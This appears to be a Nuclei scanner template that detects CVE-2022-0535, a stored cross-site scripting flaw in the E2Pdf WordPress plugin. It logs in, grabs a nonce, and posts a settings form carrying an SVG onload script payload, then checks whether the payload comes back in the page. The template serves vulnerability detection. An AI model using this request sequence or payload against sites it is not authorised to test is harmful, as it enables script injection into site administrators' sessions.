nuclei-templates/cves/2022/CVE-2022-0535.yaml

60 lines
2.3 KiB
YAML
Raw Normal View History

2022-10-07 15:08:33 +00:00
id: CVE-2022-0535
info:
name: E2Pdf - Authenticated Stored Cross-Site Scripting (XSS)
author: theamanrawat
severity: medium
description: |
The E2Pdf WordPress plugin before 1.16.45 does not sanitise and escape some of its settings, which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.
reference:
- https://wpscan.com/vulnerability/a4162e96-a3c5-4f38-a60b-aa3ed9508985
- https://wordpress.org/plugins/e2pdf/
- https://mikadmin.fr/tech/XSS-Stored-E2Pdf-798ef69b0e13c36acf5446358d57c965Dx90666bNvCw98.pdf
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0535
classification:
cve-id: CVE-2022-0535
metadata:
verified: true
tags: cve,cve2022,wordpress,wp-plugin,wp,xss,authenticated,e2pdf
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_nonce={{nonce}}&e2pdf_user_email=&e2pdf_api=api.e2pdf.com&e2pdf_connection_timeout=300&e2pdf_processor=0&e2pdf_dev_update=0&e2pdf_url_format=siteurl&e2pdf_mod_rewrite=0&e2pdf_mod_rewrite_url=e2pdf%2F%25uid%25%2F&e2pdf_cache=0&e2pdf_cache=1&e2pdf_cache_fonts=0&e2pdf_cache_fonts=1&e2pdf_debug=0&e2pdf_hide_warnings=0&e2pdf_images_remote_request=0&e2pdf_images_timeout=30&e2pdf_revisions_limit=3&e2pdf_memory_time=0&e2pdf_developer=0&e2pdf_developer_ips=%3C%2Ftextarea%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&submit=Save+Changes
- |
GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
Host: {{Hostname}}
req-condition: true
cookie-reuse: true
matchers:
- type: dsl
dsl:
- contains(all_headers_4, "text/html")
- status_code_4 == 200
- contains(body_4, 'placeholder=\"Developer IPs\" ></textarea><svg/onload=alert(document.domain)>')
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'name="_nonce" value="([0-9a-zA-Z]+)"'
internal: true